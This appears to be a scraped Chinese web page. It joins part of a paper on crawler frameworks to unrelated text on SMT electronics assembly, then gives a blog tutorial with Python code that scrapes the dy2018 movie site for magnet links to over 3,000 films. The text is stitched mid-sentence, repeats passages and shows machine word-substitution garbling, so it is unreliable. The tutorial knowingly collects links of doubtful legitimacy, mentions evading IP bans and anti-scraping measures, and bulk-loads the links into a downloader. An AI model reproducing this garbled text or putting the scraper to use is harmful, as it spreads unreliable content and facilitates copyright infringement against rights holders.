爬蟲(chóng)的增量爬取從數據的角度看,有些爬蟲(chóng)只進(jìn)行單次的爬取操作,而有些爬蟲(chóng)須要進(jìn)行增量爬取,用來(lái)積累數據。對于單次爬取的網(wǎng)路爬蟲(chóng),實(shí)現較為簡(jiǎn)單,因為不用考慮過(guò)濾去重等操作,所以模塊相對較少。單次爬取的爬蟲(chóng)主要考慮爬取的效率,有時(shí)會(huì )通過(guò)多線(xiàn)程或多進(jìn)程等形式提升爬取效率。對于須要增量爬取的網(wǎng)路爬蟲(chóng)。通常須要對URL鏈接、資源內容等進(jìn)行過(guò)濾和去重。每次爬取的時(shí)侯,需要對比數據是否重復,并將早已爬取過(guò)的內容過(guò)濾掉,從而降低冗余數據的爬取和儲存。實(shí)際應用中,增量爬蟲(chóng)的使用較為廣泛。3.主流開(kāi)源爬蟲(chóng)框架爬蟲(chóng)技術(shù)發(fā)展至今,已經(jīng)非常成熟,同時(shí)也形成了好多開(kāi)源的爬蟲(chóng)框架,入Nutch、Heritrix、Larbin、Scrapy,這些開(kāi)源框架的實(shí)現語(yǔ)言與功能各不相同,以下是這幾款開(kāi)源爬蟲(chóng)框架的比較與剖析。
  3.1 NutchNutch是一個(gè)比較小型的開(kāi)源框架,也是隸屬于A(yíng)pache基金會(huì )的一個(gè)開(kāi)源項目。Nutch最初服務(wù)于Lucene項目,Lucene是一個(gè)完整的搜索引擎框架,其中Nutch提供數據爬取服務(wù)。因為L(cháng)ucene是一個(gè)通用的搜索引擎框架,所以Nutch在設計之初也主要用于通用數據的爬取。在滿(mǎn)足通用需求的同時(shí),Nutch犧牲了一些多樣化開(kāi)發(fā)的特點(diǎn)。優(yōu)點(diǎn):Nutch適用于各類(lèi)規模的爬取任務(wù),底層可以和Hadoop平臺對接,提供分布式的爬取功能,同時(shí)支持分布式的調度及分布式的儲存。為了擴充各種多樣化功能,Nutch設計了插件框架,可以通過(guò)添加插件,來(lái)實(shí)現愈發(fā)復雜的爬取功能。缺點(diǎn):雖然有插件框架,但是Nutch的多樣化開(kāi)發(fā)成本仍然較高。 在使用默認的配置過(guò)濾文件是,是不抓取動(dòng)態(tài)網(wǎng)頁(yè)的,要想爬取動(dòng)態(tài)網(wǎng)頁(yè)須要更改過(guò)濾規則。3.2 HeritrixHeritrix是基于Java語(yǔ)言的爬蟲(chóng)框架,因其可擴展型和豐富的各種組件而聞名。但配置相對繁雜,所以學(xué)習成本過(guò)高。Heritrix提供了多種下載器,用于下載網(wǎng)頁(yè)、流媒體等多種類(lèi)型的數據。Heritrix還提供了圖形界面拿來(lái)管理爬蟲(chóng),可以通過(guò)網(wǎng)頁(yè)來(lái)啟動(dòng)貨控制各種爬蟲(chóng)。
  優(yōu)點(diǎn):Heritrix的爬蟲(chóng)訂制參數多包括,可設置輸出日志、可設置多線(xiàn)程采集模式、可設置下載速率上限等 開(kāi)發(fā)者可以通過(guò)更改組件的參數,來(lái)高效的更改爬蟲(chóng)功能 。缺點(diǎn):Heritrix很難實(shí)現分布式爬取,因為多個(gè)單獨爬蟲(chóng)之間,無(wú)法合作完成爬取任務(wù),可擴展性較差。在爬取失敗時(shí),也缺少重萬(wàn)方數據 67 ELECTRONICS WORLD 探求與觀(guān)察工作臺處于清潔的狀態(tài),并監督工作人員防靜電腕帶的配戴情況,且使用的鉗子須要具有防靜電的功能,或者在取料的時(shí)侯利用真空吸筆完成,放置靜電在元器件于手接觸時(shí)形成,第四,定期對相關(guān)設施進(jìn)行防靜電測試處理 [6] 。二、SMT表面貼裝技術(shù)的發(fā)展趨勢近些年來(lái),我國科學(xué)技術(shù)水平在社會(huì )經(jīng)濟快速發(fā)展的影響下得到了迅猛發(fā)展,表面貼裝技術(shù)在此背景下也獲得了寬廣的發(fā)展空間,并將會(huì )以小型化、精細化的方向不斷發(fā)展。針對SMT表面貼裝技術(shù)的發(fā)展趨勢進(jìn)行剖析可以發(fā)覺(jué),在未來(lái)的發(fā)展過(guò)程中,將會(huì )大幅度縮小SDC/SMD的容積,并其而不斷擴大其生產(chǎn)數目,就現階段表面貼裝技術(shù)的發(fā)展現況而言,將0603以及1005型表面貼膜式電容和內阻商品化的目的已然實(shí)現。同時(shí),集成電路的發(fā)展方向將會(huì )是小型化和STM化,現階段,市場(chǎng)上早已出現了腿寬度為0.3mm的IC業(yè),其發(fā)展方向將是BGA。
  此外,焊接技術(shù)也將會(huì )逐步趨向成熟階段,惰性氣體于1994年便早已被點(diǎn)焊設備廠(chǎng)家制造下來(lái)以滿(mǎn)足回流焊以及波峰焊的需求。與此同時(shí)免清洗工業(yè)也涌現下來(lái)但是應用非常廣泛。最后,測試設備以及貼片設備的效率將會(huì )大幅度提高,且靈活性也會(huì )不斷增強。目前,在使用SMT技術(shù)的時(shí)侯,其貼片速率大概在5500片/h左右,通過(guò)使用高柔化和智能化的貼片系統促使制造商的生產(chǎn)成品被大幅度增加,進(jìn)而促使生產(chǎn)效率以及精度的提高,并且豐富了貼片的功能 [7] 。三、結束語(yǔ)與傳統的THT而言,SMT的優(yōu)勢主要表現在其性能好、組裝密度高以及體積小和可靠性強等方面,受到其上述優(yōu)勢的影響,現階段電子設備以及電子產(chǎn)品的裝配技術(shù)均以SMT為主,并且在電子產(chǎn)品的生產(chǎn)制造領(lǐng)域得到廣泛應用。盡管在實(shí)際應用的時(shí)侯,SMT仍然表現出一些不足之處,但是與其所發(fā)揮的正面影響對比,這些不足并不影響該技術(shù)應用價(jià)值。所以,需要加強SMT技術(shù)的宣傳力度,促進(jìn)其應用可以覆蓋更多領(lǐng)域。與此同時(shí),還須要加到對該技術(shù)的研究力度,對其各項工藝流程給以建立,促進(jìn)其所用得到充分發(fā)揮,繼而有助于電子產(chǎn)品工藝制程清潔化、裝備模塊化、生產(chǎn)集成化和自動(dòng)化的愿景盡快實(shí)現,為電子行業(yè)的可持續發(fā)展提供可靠保障。
  參考文獻[1] 楊柳.SMT表面貼裝技術(shù)工藝應用實(shí)踐[J].科研,2016(8):00079-00079.[2]孫丹妮,周娟,耿豪凱,等.累積和與指數加權移動(dòng)平均控制圖在表面貼裝技術(shù)中的應用及仿真[J].機械制造,2017,55(3):77-80.[3]朱飛飛.談電子工業(yè)中SMT技術(shù)的工藝研究和發(fā)展趨勢[J].科研,2016(8):00286-00286.[4] 高文璇.Protel DXP技術(shù)與SMT技術(shù)在現今電子產(chǎn)業(yè)中的應用[J].電子世 界,2014(6):95-95.[5]王婷,方子正.SMD型表面貼裝元件殼體生產(chǎn)中技術(shù)難點(diǎn)和解決舉措[J].工程技術(shù):全文版,2016(7):00253-00253.[6]周超.闡述SMT表面貼裝技術(shù)工藝應用與發(fā)展趨勢[J].科研,2016(12):00008-00008.[7]李金明.電子工業(yè)中SMT技術(shù)工藝研究及發(fā)展趨勢[J].電子技術(shù)與軟件工程,2016(13):139-139.(上接第65頁(yè))試等機制,導致開(kāi)發(fā)者須要做好多額外工作來(lái)填補那些設計上的缺位。不同于Nutch框架開(kāi)源爬蟲(chóng)框架,僅憑Heritrix不能完成搜索引擎的全部工作,而只能完成爬蟲(chóng)階段的爬取工作。
  3.3 LarbinLarbin是一個(gè)基于C++語(yǔ)言的爬蟲(chóng)框架。Larbin提供了相對簡(jiǎn)單單非常易用的爬蟲(chóng)功能。單機Larbin爬蟲(chóng)可以每晚獲取百萬(wàn)量級的網(wǎng)頁(yè)。單Larbin不提供網(wǎng)頁(yè)解析服務(wù),也不考慮內容的儲存及處理。如果象使用Larbin進(jìn)行小型系統的實(shí)現,則須要自行開(kāi)發(fā)相應的其他組件。優(yōu)點(diǎn):指定入口URL后,可以手動(dòng)擴充,甚至整個(gè)網(wǎng)站鏡像;支持通過(guò)后綴名對抓取網(wǎng)頁(yè)進(jìn)行過(guò)濾;只保存原始網(wǎng)頁(yè);利用C++開(kāi)發(fā),非常高效。缺點(diǎn):只有網(wǎng)頁(yè)下載器,而沒(méi)有網(wǎng)頁(yè)解析器。不支持分布式爬取。沒(méi)有手動(dòng)重試功能。該項目在2003年后停止開(kāi)發(fā)維護。 3.4 ScrapyScrapy是基于python語(yǔ)言開(kāi)發(fā)的爬蟲(chóng)框架,由于它的輕量化設計和簡(jiǎn)單易用,而廣泛遭到開(kāi)發(fā)者的歡迎。優(yōu)點(diǎn):簡(jiǎn)單易用:只需編撰爬取規則,剩下由scrapy完成易擴充:擴展性設計,支持插件,無(wú)需改動(dòng)核心代碼可移植性:基于Linux、Windows、Mac、BSD開(kāi)發(fā)和運行設計。缺點(diǎn):?jiǎn)螜C多線(xiàn)程實(shí)現,不支持分布式。數據儲存方案支持 Local fi lesystem、FTP、S3、Standard output,默認無(wú)分布式存儲解決方案默認中間過(guò)程網(wǎng)頁(yè)不會(huì )保存,只保存抽取結果。
  4.總結與展望本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架。不同的爬蟲(chóng)開(kāi)源框架的實(shí)現語(yǔ)言和功能不同,適用的場(chǎng)景也不盡相同,需要在實(shí)際應用中選擇合適的開(kāi)源爬蟲(chóng)框架。參考文獻[1]劉瑋瑋.搜索引擎中主題爬蟲(chóng)的研究與實(shí)現[D].南京理工大學(xué),2006.[2]詹恒飛,楊岳湘,方宏.Nutch分布式網(wǎng)路爬蟲(chóng)研究與優(yōu)化[J].計算機科學(xué)與探求,2011,5(01):68-74.[3]安子建.基于Scrapy框架的網(wǎng)路爬蟲(chóng)實(shí)現與數據抓取剖析[D].吉林大學(xué),2017.[4]周立柱,林玲.聚焦爬蟲(chóng)技術(shù)研究綜述[J].計算機應用,2005(09):1965-1969.[5]楊定中,趙剛,王泰.網(wǎng)絡(luò )爬蟲(chóng)在Web信息搜索與數據挖掘中應用[J].計算機工程與設計,2009,30(24):5658-5662.萬(wàn)方數據

Python 網(wǎng)絡(luò )爬蟲(chóng)實(shí)戰:爬取并下載《電影天堂》3千多部動(dòng)作片影片

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 1524 次瀏覽 ? 2020-07-03 08:00 ? 來(lái)自相關(guān)話(huà)題

  不知不覺(jué),玩爬蟲(chóng)玩了一個(gè)多月了。
  我更加認為,爬蟲(chóng)似乎并不是哪些非常深奧的技術(shù),它的價(jià)值不在于你使用了哪些非常牛的框架,用了多么了不起的技術(shù),它不需要。它只是以一種自動(dòng)化收集數據的小工具,能夠獲取到想要的數據,就是它最大的價(jià)值。
  我的爬蟲(chóng)課老師也常跟我們指出,學(xué)習爬蟲(chóng)最重要的,不是學(xué)習上面的技術(shù),因為后端技術(shù)在不斷的發(fā)展,爬蟲(chóng)的技術(shù)便會(huì )隨著(zhù)改變。學(xué)習爬蟲(chóng)最重要的是,學(xué)習它的原理,萬(wàn)變不距其宗。
  爬蟲(chóng)說(shuō)白了是為了解決須要,方便生活的。如果還能在日常生活中,想到并應用爬蟲(chóng)去解決實(shí)際的問(wèn)題,那么爬蟲(chóng)的真正意義也久發(fā)揮下來(lái)了。
  這是些閑談啦,有感而發(fā)而已。
  最近有點(diǎn)片荒,不知道該看哪些影片,而且有些影片在網(wǎng)上找很久也找不到資源。后來(lái)我了解到這個(gè)網(wǎng)站,發(fā)現近來(lái)好多不錯的影片里面都有資源(這里我就先不管它的來(lái)源正不正規啦,#掩面)。
  所以此次我們要爬取的網(wǎng)站是:《電影天堂》,屯一些影片,等無(wú)趣的時(shí)侯拿出來(lái)瞧瞧,消遣閑暇也是不錯。
  
  這次的網(wǎng)站,從爬蟲(chóng)的技術(shù)角度上來(lái)講,難度不大,而且可以說(shuō)是十分簡(jiǎn)單了。但是,它實(shí)用??!你想嘛,早上下班前跑一下爬蟲(chóng),晚上回去之后早已有幾十部最新大片在你硬碟里等著(zhù)你啦,累了三天躺床上瞧瞧影片,這種覺(jué)得是不是太爽啊。
  而且正由于這個(gè)爬蟲(chóng)比較簡(jiǎn)單,所以我會(huì )寫(xiě)的稍為細一點(diǎn),爭取使 python 小白們也能盡可能讀懂,并且還能在這個(gè)爬蟲(chóng)的基礎上更改,得到爬取這個(gè)網(wǎng)站其他藍籌股或則其他影片網(wǎng)站的爬蟲(chóng)。
  在編撰爬蟲(chóng)程序之前,我先捋一捋我們的思路。
  爬蟲(chóng)的原理,是通過(guò)給定的一個(gè)URL(就是類(lèi)似于 這樣的,俗稱(chēng)網(wǎng)址的東東) 請求,去訪(fǎng)問(wèn)一個(gè)網(wǎng)頁(yè),獲取哪個(gè)網(wǎng)頁(yè)上的源代碼(不知道源代碼的,隨便打開(kāi)一個(gè)網(wǎng)頁(yè),右鍵,查看網(wǎng)頁(yè)源代碼,出來(lái)的一大堆象亂碼一樣的東西就是網(wǎng)頁(yè)源代碼,我們須要的數據就藏在這種源代碼上面)并返回來(lái)。然后,通過(guò)一些手段(比如說(shuō)json庫,BeautifulSoup庫,正則表達式等)從網(wǎng)頁(yè)源代碼中篩選出我們想要的數據(當然,前提是我們須要剖析網(wǎng)頁(yè)結構,知道自己想要哪些數據,以及那些數據儲存在網(wǎng)頁(yè)的哪里網(wǎng)絡(luò )爬蟲(chóng)下載,存放的位置有哪些特點(diǎn)等)。最后,將我們獲取到的數據根據一定的格式,存儲到本地或則數據庫中,這樣就完成了爬蟲(chóng)的全部工作。
  當然,也有一些 「騷操作」,如果你嫌爬蟲(chóng)效率低,可以開(kāi)多線(xiàn)程(就是相當于幾十只爬蟲(chóng)同時(shí)給你爬,效率直接翻了幾十倍);如果害怕爬取頻度過(guò)低被網(wǎng)站封 IP,可以?huà)?IP 代理(相當于打幾槍換個(gè)地方,對方網(wǎng)站就不知道你到底是爬蟲(chóng)還是正常訪(fǎng)問(wèn)的用戶(hù)了);如果對方網(wǎng)站有反爬機制,那么也有一些騷操作可以繞開(kāi)反爬機制(有點(diǎn)黑客攻守的覺(jué)得,有木有?。?。這些都是后話(huà)了。
  1. 分析網(wǎng)頁(yè)的 URL 的組成結構
  首先,我們須要剖析網(wǎng)頁(yè)的 URL 的組成結構,主要關(guān)注兩方面,一是怎樣切換選擇的影片類(lèi)型,二是網(wǎng)頁(yè)怎么翻頁(yè)的。
  電影類(lèi)型
  網(wǎng)址
  劇情片
  喜劇片
  動(dòng)作片
  愛(ài)情片
  科幻片
  動(dòng)畫(huà)片
  懸疑片
  驚悚片
  恐怖片
  記錄片
  ......
  ......
  災難片
  武俠片
  古裝片
  發(fā)現規律了吧,以后假如想爬其他類(lèi)型的影片,只要改變 url 中的數字即可,甚至你可以寫(xiě)一個(gè)循環(huán),把所有藍籌股中的影片全部爬取出來(lái)。
  頁(yè)碼
  URL
  第一頁(yè)
  第二頁(yè)
  第三頁(yè)
  第四頁(yè)
  除了第一頁(yè)是 「index」外,其余頁(yè)腳均是 「index_頁(yè)碼」的方式。
  所以我們基本把握了網(wǎng)站的 url 的構成方式,這樣我們就可以通過(guò)自己構造 url 來(lái)訪(fǎng)問(wèn)任意類(lèi)型影片的任意一頁(yè)了,是不是太酷。
  2. 分析網(wǎng)站的頁(yè)面結構
  其次,我們剖析一下網(wǎng)站的頁(yè)面結構,看一看我們須要的信息都藏在網(wǎng)頁(yè)的哪些地方(在這之前我們先要明晰一下我們須要什么數據),由于我們這個(gè)目的是下載影片,所以對我有用的數據只有兩個(gè),電影名稱(chēng)和下載影片的磁力鏈接。
  按 F12 召喚出開(kāi)發(fā)者工具(這個(gè)工具可以幫助你快速定位網(wǎng)頁(yè)中的元素在 html 源代碼中位置)。
  
  然后,我們可以發(fā)覺(jué),電影列表中,每一部影片的信息儲存在一個(gè) &lt;table&gt; 標簽里,而影片的名子,就藏在上面的一個(gè) &lt;a&gt; 標簽中。電影下載的磁力鏈接在影片的詳情頁(yè)面,而影片詳情頁(yè)面的網(wǎng)址也在這個(gè)&lt;a&gt; 標簽中( href 屬性的值)。
  
  而下載的磁力鏈接,存放在 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽中,是不是太好找??!
  最后我們來(lái)縷一縷思路,一會(huì )兒我們打算這樣操作:通過(guò)上面的網(wǎng)址的構造規則,訪(fǎng)問(wèn)到網(wǎng)站的某一頁(yè),然后獲取到這個(gè)頁(yè)面里的所有 table 標簽(這里儲存著(zhù)影片的數據),然后從每一個(gè) table 標簽中找到存有影片名稱(chēng)的 a 標簽(這里可以領(lǐng)到影片名稱(chēng)以及詳情頁(yè)面的網(wǎng)址),然后通過(guò)這兒獲取的網(wǎng)址訪(fǎng)問(wèn)影片的詳情頁(yè)面,在詳情頁(yè)面選購出 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽(這里儲存著(zhù)影片的下載鏈接),這樣我們就找到了我們所須要的全部數據了,是不是很簡(jiǎn)單啊。
  爬蟲(chóng)的程序,我通常習慣把它分成五個(gè)部份, 一是主函數,作為程序的入口,二是爬蟲(chóng)調度器,三是網(wǎng)路懇求函數,四是網(wǎng)頁(yè)解析函數,五是數據儲存函數。
  
# 我們用到的庫
import requests
import bs4
import re
import pandas as pd
  1.網(wǎng)絡(luò )懇求函數 :get_data (url)
  負責訪(fǎng)問(wèn)指定的 url 網(wǎng)頁(yè),并將網(wǎng)頁(yè)的內容返回,此部份功能比較簡(jiǎn)單固定,一般不需要做更改(除非你要掛代理,或者自定義懇求頭等,可以做一些相應的調整)。
  
def get_data(url):
'''
功能:訪(fǎng)問(wèn) url 的網(wǎng)頁(yè),獲取網(wǎng)頁(yè)內容并返回
參數:
url :目標網(wǎng)頁(yè)的 url
返回:目標網(wǎng)頁(yè)的 html 內容
'''
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
}

try:
r = requests.get(url, headers=headers)
r.raise_for_status()
return r.text

except requests.HTTPError as e:
print(e)
print("HTTPError")
except requests.RequestException as e:
print(e)
except:
print("Unknown Error !")
  2.網(wǎng)頁(yè)解析函數:parse_data(html)
  這個(gè)函數是整個(gè)爬蟲(chóng)程序的核心所在,整體思路在上一部分早已講過(guò)了。我這兒使用的庫是BeautifulSoup。
  這部份的寫(xiě)法多種多樣,有很多發(fā)揮的空間,也沒(méi)有哪些太多固定的模式,因為這部份的寫(xiě)法是要隨著(zhù)不同網(wǎng)站的頁(yè)面結構來(lái)做調整的,比如說(shuō)有的網(wǎng)站提供了數據的 api 接口,那么返回的數據就是 json 格式,我們只須要調用 json 庫就可以完成數據解析,而大部分的網(wǎng)站只能通過(guò)從網(wǎng)頁(yè)源代碼中一層層篩選(篩選手段也多種多樣,什么正則表達式,beautifulsoup等等)。
  這里須要依照數據的方式來(lái)選擇不同的篩選策略,所以,知道原理就可以了,習慣哪些方式就用哪些方式,反正最后能領(lǐng)到數據就好了。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取電影列表
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

# 對電影列表中的每一部電影單獨處理
for item in tbList:
movie = []
link = item.b.find_all('a')[1]
# 獲取電影的名稱(chēng)
name = link["title"]
# 獲取詳情頁(yè)面的 url
url = 'https://www.dy2018.com' + link["href"]
# 將數據存放到電影信息列表里
movie.append(name)
movie.append(url)

try:
# 訪(fǎng)問(wèn)電影的詳情頁(yè)面,查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

# 下載鏈接有多個(gè)(也可能沒(méi)有),這里將所有鏈接都放進(jìn)來(lái)
for i in tbody:
download = i.a.text
movie.append(download)

#print(movie)
# 將此電影的信息加入到電影列表中
info.append(movie)

except Exception as e:
print(e)

return info
  3. 數據儲存函數:save_data(data)
  這個(gè)函數目的是將數據儲存到本地文件或數據庫中,具體的寫(xiě)法要按照實(shí)際須要的儲存方式來(lái)定,我這兒是將數據儲存在本地的 csv 文件中。
  當然這個(gè)函數也并不只能做這些事兒,比如你可以在這里寫(xiě)一些簡(jiǎn)單的數據處理的操作,比如說(shuō):數據清洗,數據去重等操作。
  
def save_data(data):
'''
功能:將 data 中的信息輸出到文件中/或數據庫中。
參數:data 將要保存的數據
'''
filename = 'Data/電影天堂/動(dòng)作片.csv'

dataframe = pd.DataFrame(data)
dataframe.to_csv(filename, mode='a', index=False, sep=',', header=False)
  4. 爬蟲(chóng)調度器:main()
  這個(gè)函數負責按照 url 生成規則,構造新的 url 請求,然后依次調用網(wǎng)路懇求函數,網(wǎng)頁(yè)解析函數,數據儲存函數,爬取并保存該頁(yè)數據。
  所謂爬蟲(chóng)調度器,就是控制爬蟲(chóng)哪些時(shí)侯開(kāi)始爬,多少只爬蟲(chóng)一起爬,爬那個(gè)網(wǎng)頁(yè),爬多久休息一次,等等這種事兒。
  
def main():
# 循環(huán)爬取多頁(yè)數據
for page in range(1, 114):
print('正在爬?。旱? + str(page) + '頁(yè)......')
# 根據之前分析的 URL 的組成結構,構造新的 url
if page == 1:
index = 'index'
else:
index = 'index_' + str(page)
url = 'https://www.dy2018.com/2/'+ index +'.html'
# 依次調用網(wǎng)絡(luò )請求函數,網(wǎng)頁(yè)解析函數,數據存儲函數,爬取并保存該頁(yè)數據
html = get_data(url)
movies = parse_data(html)
save_data(movies)

print('第' + str(page) + '頁(yè)完成!')
  5. 主函數:程序入口
  主函數作為程序的入口,只負責啟動(dòng)爬蟲(chóng)調度器。
  這里我通常習慣在 main() 函數前后輸出一條句子,以此判定爬蟲(chóng)程序是否正常啟動(dòng)和結束。
  
if __name__ == '__main__':
print('爬蟲(chóng)啟動(dòng)成功!')
main()
print('爬蟲(chóng)執行完畢!')
  運行了兩個(gè)小時(shí)左右吧,終于爬完了 113 頁(yè),共 3346 部動(dòng)作片影片的數據(本來(lái)不止這種的,但是有一些影片沒(méi)有提供下載鏈接,我在 excel 中排序后直接自動(dòng)剔除了)。
  
  
  然后想看哪些影片的話(huà),直接復制這種影片下載的磁力鏈接,到迅雷上面下載就好啦。
  1. 在網(wǎng)站提供的下載鏈接中,我試了一下,發(fā)現magnet 開(kāi)頭的這類(lèi)鏈接置于迅雷中可以直接下載,而 ftp 開(kāi)頭的鏈接在迅雷中總顯示資源獲取失?。ㄎ也恢朗遣皇俏掖蜷_(kāi)的形式不對,反正就是下載不來(lái)),于是我對程序做了一些小的調整,使其只獲取magnet 這類(lèi)的鏈接。
  修改的方法也很簡(jiǎn)單,只須要調整 網(wǎng)頁(yè)解析函數 即可(爬蟲(chóng)的五個(gè)部份是相對獨立的,修改時(shí)只需調整相應的模塊即可,其余部份無(wú)需更改)。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取表頭信息
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

for item in tbList:
movie = []
link = item.b.find_all('a')[1]
name = link["title"]
url = 'https://www.dy2018.com' + link["href"]

try:
# 查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

for i in tbody:
download = i.a.text
if 'magnet:?xt=urn:btih' in download:
movie.append(name)
movie.append(url)
movie.append(download)
#print(movie)
info.append(movie)
break
except Exception as e:
print(e)

return info
  注意代碼 26 行處,我加了一個(gè) if 語(yǔ)句的判定,如果下載鏈接中包含magnet:?xt=urn:btih 字符串,則視為有效鏈接,下載出來(lái),否則跳過(guò)。
  2. 我仍然在想能不能有個(gè)辦法使迅雷一鍵批量下載我們爬到的影片。使用 python 操縱第三方的軟件,這或許很難的。不之后來(lái)找到了一種方式,也算是解決了這個(gè)問(wèn)題。
  就是我們發(fā)覺(jué)迅雷軟件啟動(dòng)后,會(huì )手動(dòng)檢查我們的剪切板,只要我們復制了下載鏈接,它便會(huì )手動(dòng)彈出下載的提示框。借助這個(gè)思路,我們可以使用代碼,將下載的鏈接復制步入剪切板,等下載框手動(dòng)出現后,手動(dòng)確認開(kāi)始下載(這是我目前想到的最好的辦法了,不知道諸位大鱷有沒(méi)有更好的思路,歡迎指導交流)。
  
import pyperclip
import os
import pandas as pd
imageData = pd.read_csv("Data/電影天堂/動(dòng)作片2.csv",names=['name','link','download'],encoding = 'gbk')
# 獲取電影的下載鏈接,并用換行符分隔
a_link = imageData['download']
links = '\n'.join(a_link)
# 復制到剪切板
pyperclip.copy(links);
print('已粘貼');

# 打開(kāi)迅雷
thunder_path = r'D:\Program Files (x86)\Thunder Network\Thunder9\Program\Thunder.exe'
os.startfile(thunder_path)
  親測可以實(shí)現,但是。。。不建議嘗試(你能想像迅雷打開(kāi)的一瞬間創(chuàng )建幾百個(gè)下載任務(wù)的場(chǎng)景嗎?反正我的筆記本是緩了好久好久才反應過(guò)來(lái))。大家還是老老實(shí)實(shí)的,手動(dòng)復制鏈接下載吧(csv文件可以用 excel 打開(kāi)網(wǎng)絡(luò )爬蟲(chóng)下載,豎著(zhù)選中一列,然后復制,也能達到相同的療效),這種騷操作很蠢了還是不要試了。
  啰啰嗦嗦的寫(xiě)了很多,也不知道關(guān)鍵的問(wèn)題講清楚了沒(méi)有。有那里沒(méi)講清楚,或者那里講的不合適的話(huà),歡迎恐嚇。
  其實(shí)吧,寫(xiě)文章,寫(xiě)博客,寫(xiě)教程,都是一個(gè)知識重新熔煉內化的過(guò)程,在寫(xiě)這篇博客的時(shí)侯,我也仍然在反復考量我學(xué)習爬蟲(chóng)的過(guò)程,以及我爬蟲(chóng)代碼一步步的變化,從一開(kāi)始的所有代碼全部揉在主函數中,到后來(lái)把一些變動(dòng)較少的功能提取下來(lái),寫(xiě)成單獨的函數,再到后來(lái)產(chǎn)生基本穩定的五大部份。
  以至于在我后來(lái)學(xué)習使用 scrapy 框架時(shí)侯,驚人的發(fā)覺(jué) scrapy 框架的結構跟我的爬蟲(chóng)結構有著(zhù)異曲同工之妙,我的這個(gè)相當于是一個(gè)簡(jiǎn)易版的爬蟲(chóng)框架了,純靠自己摸索達到這個(gè)療效,我覺(jué)得還是很有成就感的。 查看全部

  不知不覺(jué),玩爬蟲(chóng)玩了一個(gè)多月了。
  我更加認為,爬蟲(chóng)似乎并不是哪些非常深奧的技術(shù),它的價(jià)值不在于你使用了哪些非常牛的框架,用了多么了不起的技術(shù),它不需要。它只是以一種自動(dòng)化收集數據的小工具,能夠獲取到想要的數據,就是它最大的價(jià)值。
  我的爬蟲(chóng)課老師也常跟我們指出,學(xué)習爬蟲(chóng)最重要的,不是學(xué)習上面的技術(shù),因為后端技術(shù)在不斷的發(fā)展,爬蟲(chóng)的技術(shù)便會(huì )隨著(zhù)改變。學(xué)習爬蟲(chóng)最重要的是,學(xué)習它的原理,萬(wàn)變不距其宗。
  爬蟲(chóng)說(shuō)白了是為了解決須要,方便生活的。如果還能在日常生活中,想到并應用爬蟲(chóng)去解決實(shí)際的問(wèn)題,那么爬蟲(chóng)的真正意義也久發(fā)揮下來(lái)了。
  這是些閑談啦,有感而發(fā)而已。
  最近有點(diǎn)片荒,不知道該看哪些影片,而且有些影片在網(wǎng)上找很久也找不到資源。后來(lái)我了解到這個(gè)網(wǎng)站,發(fā)現近來(lái)好多不錯的影片里面都有資源(這里我就先不管它的來(lái)源正不正規啦,#掩面)。
  所以此次我們要爬取的網(wǎng)站是:《電影天堂》,屯一些影片,等無(wú)趣的時(shí)侯拿出來(lái)瞧瞧,消遣閑暇也是不錯。
  
  這次的網(wǎng)站,從爬蟲(chóng)的技術(shù)角度上來(lái)講,難度不大,而且可以說(shuō)是十分簡(jiǎn)單了。但是,它實(shí)用??!你想嘛,早上下班前跑一下爬蟲(chóng),晚上回去之后早已有幾十部最新大片在你硬碟里等著(zhù)你啦,累了三天躺床上瞧瞧影片,這種覺(jué)得是不是太爽啊。
  而且正由于這個(gè)爬蟲(chóng)比較簡(jiǎn)單,所以我會(huì )寫(xiě)的稍為細一點(diǎn),爭取使 python 小白們也能盡可能讀懂,并且還能在這個(gè)爬蟲(chóng)的基礎上更改,得到爬取這個(gè)網(wǎng)站其他藍籌股或則其他影片網(wǎng)站的爬蟲(chóng)。
  在編撰爬蟲(chóng)程序之前,我先捋一捋我們的思路。
  爬蟲(chóng)的原理,是通過(guò)給定的一個(gè)URL(就是類(lèi)似于 這樣的,俗稱(chēng)網(wǎng)址的東東) 請求,去訪(fǎng)問(wèn)一個(gè)網(wǎng)頁(yè),獲取哪個(gè)網(wǎng)頁(yè)上的源代碼(不知道源代碼的,隨便打開(kāi)一個(gè)網(wǎng)頁(yè),右鍵,查看網(wǎng)頁(yè)源代碼,出來(lái)的一大堆象亂碼一樣的東西就是網(wǎng)頁(yè)源代碼,我們須要的數據就藏在這種源代碼上面)并返回來(lái)。然后,通過(guò)一些手段(比如說(shuō)json庫,BeautifulSoup庫,正則表達式等)從網(wǎng)頁(yè)源代碼中篩選出我們想要的數據(當然,前提是我們須要剖析網(wǎng)頁(yè)結構,知道自己想要哪些數據,以及那些數據儲存在網(wǎng)頁(yè)的哪里網(wǎng)絡(luò )爬蟲(chóng)下載,存放的位置有哪些特點(diǎn)等)。最后,將我們獲取到的數據根據一定的格式,存儲到本地或則數據庫中,這樣就完成了爬蟲(chóng)的全部工作。
